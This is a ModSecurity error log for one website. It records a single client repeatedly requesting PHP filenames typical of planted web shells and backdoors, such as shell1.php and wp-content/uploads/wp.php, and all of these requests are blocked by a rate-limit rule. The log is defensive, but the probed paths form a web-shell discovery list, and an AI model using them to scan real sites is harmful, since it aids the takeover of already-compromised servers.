[Sat Dec 20 20:50:54.938470 2025] [:error] [pid 62124:tid 62130] [client 4.197.92.49:35663] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/33.php"] [unique_id "aUabrls94zPA9ULQOjlw1QAAAAQ"]
[Sat Dec 20 20:50:55.883000 2025] [:error] [pid 33749:tid 33751] [client 4.197.92.49:38366] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/33.php"] [unique_id "aUabr9oInXJnb96wei9IFwAAAoA"]
[Sat Dec 20 20:50:56.375073 2025] [:error] [pid 33749:tid 33770] [client 4.197.92.49:48113] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/33.php"] [unique_id "aUabsNoInXJnb96wei9IGAAAApM"]
[Sat Dec 20 20:50:57.862496 2025] [:error] [pid 33570:tid 33584] [client 4.197.92.49:38794] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "aUabsYTNveA-c6YcSrIDEgAAAcg"]
[Sat Dec 20 20:50:59.267903 2025] [:error] [pid 14247:tid 14273] [client 4.197.92.49:51175] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "aUabsyDv9TtKKdJQn9kKLAAAARg"]
[Sat Dec 20 20:51:02.134682 2025] [:error] [pid 33687:tid 33709] [client 4.197.92.49:38823] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "aUabtjYMR4qK1N4g7vjC4QAAAlM"]
[Sat Dec 20 20:51:04.113322 2025] [:error] [pid 14286:tid 14302] [client 4.197.92.49:38356] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "aUabuJ7rbXIrw6rGSdZvpwAAAUw"]
[Sat Dec 20 20:51:04.937252 2025] [:error] [pid 33749:tid 33773] [client 4.197.92.49:40152] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wcas.php"] [unique_id "aUabuNoInXJnb96wei9IGwAAApY"]
[Sat Dec 20 20:51:05.392419 2025] [:error] [pid 39577:tid 39600] [client 4.197.92.49:38819] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wcas.php"] [unique_id "aUabubviRnt1rJiSOfxVFwAAANU"]
[Sat Dec 20 20:51:07.304444 2025] [:error] [pid 33749:tid 33753] [client 4.197.92.49:49004] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wcas.php"] [unique_id "aUabu9oInXJnb96wei9IIgAAAoI"]
[Sat Dec 20 20:51:07.550352 2025] [:error] [pid 39577:tid 39602] [client 4.197.92.49:50059] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wcas.php"] [unique_id "aUabu7viRnt1rJiSOfxVGAAAANc"]
[Sat Dec 20 20:51:07.727310 2025] [:error] [pid 33844:tid 33867] [client 4.197.92.49:51085] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp.php"] [unique_id "aUabuyaNtwGsyqqVmQHqnwAAAxU"]
[Sat Dec 20 20:51:08.059818 2025] [:error] [pid 33844:tid 33860] [client 4.197.92.49:40146] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp.php"] [unique_id "aUabvCaNtwGsyqqVmQHqoAAAAw4"]
[Sat Dec 20 20:51:08.804316 2025] [:error] [pid 33749:tid 33766] [client 4.197.92.49:51098] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp.php"] [unique_id "aUabvNoInXJnb96wei9IIwAAAo8"]
[Sat Dec 20 20:51:09.061151 2025] [:error] [pid 33749:tid 33761] [client 4.197.92.49:37348] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp.php"] [unique_id "aUabvdoInXJnb96wei9IJAAAAoo"]
[Sat Dec 20 20:51:09.978814 2025] [:error] [pid 39493:tid 39556] [client 4.197.92.49:50077] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aUabvWhjL2VG_FmIHqDtWwAAAIc"]
[Sat Dec 20 20:51:10.639645 2025] [:error] [pid 33749:tid 33758] [client 4.197.92.49:37372] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aUabvtoInXJnb96wei9IJwAAAoc"]
[Sat Dec 20 20:51:11.551219 2025] [:error] [pid 33844:tid 33862] [client 4.197.92.49:37315] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aUabvyaNtwGsyqqVmQHqowAAAxA"]
[Sat Dec 20 20:51:12.637219 2025] [:error] [pid 33844:tid 33870] [client 4.197.92.49:38812] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aUabwCaNtwGsyqqVmQHqpwAAAxg"]
[Sat Dec 20 20:51:13.472726 2025] [:error] [pid 39577:tid 39584] [client 4.197.92.49:48992] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aUabwbviRnt1rJiSOfxVGwAAAMU"]
[Sat Dec 20 20:51:14.152361 2025] [:error] [pid 39577:tid 39579] [client 4.197.92.49:49008] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aUabwrviRnt1rJiSOfxVHAAAAMA"]
[Sat Dec 20 20:51:16.185820 2025] [:error] [pid 62124:tid 62141] [client 4.197.92.49:37318] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aUabxFs94zPA9ULQOjlw3AAAAA8"]
[Sat Dec 20 20:51:34.382632 2025] [:error] [pid 33749:tid 33771] [client 4.197.92.49:49761] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell1.php"] [unique_id "aUab1toInXJnb96wei9IRQAAApQ"]
[Sat Dec 20 20:51:35.934136 2025] [:error] [pid 33844:tid 33848] [client 4.197.92.49:49428] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell1.php"] [unique_id "aUab1yaNtwGsyqqVmQHqrwAAAwI"]
[Sat Dec 20 20:51:37.612487 2025] [:error] [pid 33793:tid 33796] [client 4.197.92.49:1290] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell1.php"] [unique_id "aUab2VSicyB0BFmbRMzJBAAAAsE"]
[Sat Dec 20 20:51:38.744444 2025] [:error] [pid 62124:tid 62148] [client 4.197.92.49:1335] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell1.php"] [unique_id "aUab2ls94zPA9ULQOjlw6AAAABY"]
[Sat Dec 20 20:51:39.252765 2025] [:error] [pid 62124:tid 62141] [client 4.197.92.49:1307] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gdn.php"] [unique_id "aUab21s94zPA9ULQOjlw6gAAAA8"]
[Sat Dec 20 20:51:40.491402 2025] [:error] [pid 39577:tid 39590] [client 4.197.92.49:38151] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gdn.php"] [unique_id "aUab3LviRnt1rJiSOfxVMAAAAMs"]
[Sat Dec 20 20:51:41.338528 2025] [:error] [pid 33844:tid 33857] [client 4.197.92.49:34803] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gdn.php"] [unique_id "aUab3SaNtwGsyqqVmQHqsAAAAws"]
[Sat Dec 20 20:51:41.647157 2025] [:error] [pid 39493:tid 39557] [client 4.197.92.49:49456] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gdn.php"] [unique_id "aUab3WhjL2VG_FmIHqDtYAAAAIg"]
[Sat Dec 20 20:51:42.168516 2025] [:error] [pid 33570:tid 33595] [client 4.197.92.49:38177] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aUab3oTNveA-c6YcSrIDJgAAAdM"]
[Sat Dec 20 20:51:42.690110 2025] [:error] [pid 39577:tid 39589] [client 4.197.92.49:40239] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aUab3rviRnt1rJiSOfxVMQAAAMo"]
[Sat Dec 20 20:51:44.178671 2025] [:error] [pid 14286:tid 14292] [client 4.197.92.49:41999] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aUab4J7rbXIrw6rGSdZvtwAAAUI"]
[Sat Dec 20 20:51:45.437438 2025] [:error] [pid 39493:tid 39550] [client 4.197.92.49:39403] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aUab4WhjL2VG_FmIHqDtYwAAAIE"]
[Sat Dec 20 20:51:46.848304 2025] [:error] [pid 14247:tid 14256] [client 4.197.92.49:40204] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aUab4iDv9TtKKdJQn9kKRQAAAQc"]
[Sat Dec 20 20:51:47.296322 2025] [:error] [pid 39577:tid 39585] [client 4.197.92.49:34753] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aUab47viRnt1rJiSOfxVNQAAAMY"]
[Sat Dec 20 20:51:47.798791 2025] [:error] [pid 33844:tid 33861] [client 4.197.92.49:34771] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aUab4yaNtwGsyqqVmQHqswAAAw8"]
[Sat Dec 20 20:51:49.353787 2025] [:error] [pid 33749:tid 33761] [client 4.197.92.49:49458] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aUab5doInXJnb96wei9IUgAAAoo"]
[Sat Dec 20 20:51:50.325147 2025] [:error] [pid 33749:tid 33753] [client 4.197.92.49:39335] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aUab5toInXJnb96wei9IVQAAAoI"]
[Sat Dec 20 20:51:51.873940 2025] [:error] [pid 14247:tid 14270] [client 4.197.92.49:34766] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aUab5yDv9TtKKdJQn9kKRwAAARU"]
[Sat Dec 20 20:51:52.967497 2025] [:error] [pid 62124:tid 62150] [client 4.197.92.49:41987] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aUab6Fs94zPA9ULQOjlw8AAAABg"]
[Sat Dec 20 20:51:54.756863 2025] [:error] [pid 33687:tid 33692] [client 4.197.92.49:39364] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aUab6jYMR4qK1N4g7vjC_AAAAkI"]
[Sat Dec 20 20:51:56.627102 2025] [:error] [pid 14286:tid 14311] [client 4.197.92.49:42021] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd67.php"] [unique_id "aUab7J7rbXIrw6rGSdZvvAAAAVU"]
[Sat Dec 20 20:51:56.862467 2025] [:error] [pid 33570:tid 33594] [client 4.197.92.49:38122] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd67.php"] [unique_id "aUab7ITNveA-c6YcSrIDKAAAAdI"]
[Sat Dec 20 20:51:57.139566 2025] [:error] [pid 62124:tid 62148] [client 4.197.92.49:42011] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd67.php"] [unique_id "aUab7Vs94zPA9ULQOjlw8wAAABY"]
[Sat Dec 20 20:51:58.504863 2025] [:error] [pid 33570:tid 33576] [client 4.197.92.49:1550] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd67.php"] [unique_id "aUab7oTNveA-c6YcSrIDKQAAAcA"]
[Sat Dec 20 20:51:59.200947 2025] [:error] [pid 33749:tid 33771] [client 4.197.92.49:38186] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "aUab79oInXJnb96wei9IWgAAApQ"]
[Sat Dec 20 20:51:59.663715 2025] [:error] [pid 14286:tid 14306] [client 4.197.92.49:1541] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "aUab757rbXIrw6rGSdZvwAAAAVA"]
[Sat Dec 20 20:52:00.711316 2025] [:error] [pid 33749:tid 33752] [client 4.197.92.49:51850] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "aUab8NoInXJnb96wei9IWwAAAoE"]
[Sat Dec 20 20:52:01.338769 2025] [:error] [pid 62124:tid 62147] [client 4.197.92.49:1589] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "aUab8Vs94zPA9ULQOjlw9wAAABU"]
[Sat Dec 20 20:52:02.704481 2025] [:error] [pid 62124:tid 62127] [client 4.197.92.49:45722] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aUab8ls94zPA9ULQOjlw-AAAAAE"]
[Sat Dec 20 20:52:03.382720 2025] [:error] [pid 39577:tid 39587] [client 4.197.92.49:1545] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aUab87viRnt1rJiSOfxVPwAAAMg"]
[Sat Dec 20 20:52:04.371253 2025] [:error] [pid 39577:tid 39597] [client 4.197.92.49:38115] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aUab9LviRnt1rJiSOfxVQAAAANI"]
[Sat Dec 20 20:52:06.254678 2025] [:error] [pid 62124:tid 62150] [client 4.197.92.49:51712] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aUab9ls94zPA9ULQOjlw_AAAABg"]
[Sat Dec 20 20:52:08.052121 2025] [:error] [pid 62124:tid 62127] [client 4.197.92.49:46084] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/usep.php"] [unique_id "aUab-Fs94zPA9ULQOjlxAwAAAAE"]
[Sat Dec 20 20:52:09.305793 2025] [:error] [pid 14247:tid 14269] [client 4.197.92.49:51881] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/usep.php"] [unique_id "aUab-SDv9TtKKdJQn9kKTAAAARQ"]
[Sat Dec 20 20:52:10.896629 2025] [:error] [pid 33793:tid 33812] [client 4.197.92.49:45745] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/usep.php"] [unique_id "aUab-lSicyB0BFmbRMzJCgAAAtE"]
